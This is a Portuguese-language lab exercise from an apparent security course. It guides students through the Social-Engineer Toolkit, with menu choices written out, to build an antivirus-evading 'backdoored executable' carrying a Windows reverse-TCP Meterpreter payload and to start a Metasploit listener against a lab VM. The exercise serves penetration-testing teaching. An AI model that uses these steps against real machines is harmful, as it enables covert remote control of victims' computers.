**ESCALAÇÃO DE PRIVILÉGIO**

**EXPERIMENTO 3**

**SOCIAL-ENGINEER TOOLKIT (SET)**

Neste experimento, é explorado o SET, um framework que inclui ferramentas que permitem atacar ou testar um sistema-alvo, usando o ato de enganar ou ludibriar. A ferramenta tornou-se um padrão, no arsenal do testador de penetração.

**REQUISITOS**

Os seguintes requisitos são necessários para este experimento:

* Uma Backtrack VM ou Kali Linux onde SET está instalada.
* Uma VM, máquina-alvo, com um endereço IP privado (192.168.x.x), para ser submetida a um ataque de engenharia social.

**COMO FAZER**

Seja, explorar SET realizando as seguintes etapas:

1. Abra uma janela de terminal, no Backtrack ou Kali Linux, clicando sobre o ícone Terminal e visitando o diretório contendo SET:

# cd /pentest/exploits/set

1. Executar a aplica;áo SET executando:

# ./set

1. Se for a primeira vez rodando SET, é necessário aceitar os termos de serviço, por responder “yes” (y):

Veja a tela.

**Do you agree to the terms of service [y/n]: y**

1. Uma vez aceito, é apresentado o menu do SET, contendo as seguintes opções:
* Social-Engineering Attacks (1)
* Fast-Track Penetration Testing (2)
* Third Party Modules (3)
* Update the Metasploit Framework (4)
* Update the Social-Engineer Toolkit (5)
* Update SET configuration (6)
* Help, Credits and About (7)
* Exit the Social-Engineer Toolkit (99)

Veja a tela.

“Antes de executar um ataque, é boa ideia atualizar o SET, quando as atualizações vem de outros contribuidores” (opção 5).

1. Para nossos propósitos, escolhemos a opção 1, para lançar um ataque de engenharia social.

**set > 1**

1. Veja a tela. Agora, é apresentada uma lista de ataques do SET.
Para este experimento, usaremos a opção **Create a Payload and Listener (4)**.

**set > 4**
2. A seguir, é solicitado entrar o endereço IP para o payload para inverter a conexão. Seja, por exemplo, 192.168.1.x , onde x é o endereço de uma máquina, na rede 1, se usada a máscara de sub-rede 192.168.1.x/24.

Então:

**set : payload > Enter the IP address for the payload (reverse): 192.168.1.x**

1. Agora, é apresentada uma lista de *payloads* para gerar a opção, **Payload and Listener,** bem como suas restrições. Escolha **Windows Reverse\_TCP Meterpreter** (opção 2). Isto permitirá conectar a nossa máquina-alvo e executar o *payload* do **Meterpreter**.

Veja a tela. Escolha a opção 2.

 **set : payload > 2**

1. Será apresentado, neste momento, uma lista de “***encodings***” para tentar e “*by-pass*” pacotes de software de anti-vírus. SET fará uma sugestão para você , e neste caso, SET recomendará **‘backdoored executable’. Escolha o “encoding”,** opção (16).

Veja a tela e indique (16) **(Backdoored Executable).**

**set : encoding > 16**

1. Finalmente, será solicitada uma porta para designar como a “listener port”.

Port **443** (HTTPS) está já escolhida para você e vamos nos ater com esta opção:

**set : payloads > PORT of the listener [443] : 443**

Veja a tela.

1. Uma vez qu o payload tenha sido completado, você necessita ser perguntado para iniciar o listener:

**set > Start the listener now? [yes|no]: yes**

1. Você pode notar que o Metasploit abre um ***handler***?

Veja a tela.

...

...

...

**msf exploit(handler)> ...**

 **CONCLUSÃO**

Neste experimento, foi explorado o uso do SET. SET tem uma interface orientada à menu que torna muito fácil gerar ferramentas que podem ser usadas para enganar nossa vítima. Começamos por iniciar SET. Logo após, SET provê diversas escolhas de *exploits* que podemos executar. Uma vez, escolhido o ataque, SET começa interagindo com **Metasploit**, enquanto solicita ao usuário uma série de questões. Na conclusão deste experimento, é criado um executável que nos proporcionará com uma sessão ativa do **Meterpreter** para a máquina-alvo.

**PERGUNTA FINAL**

O que você conseguiu obter ???

**MOSTRE SEU EXPERIMENTO**

Postar no Moodle, na data desta aula prática, este arquivo constando o experimento que você realizou.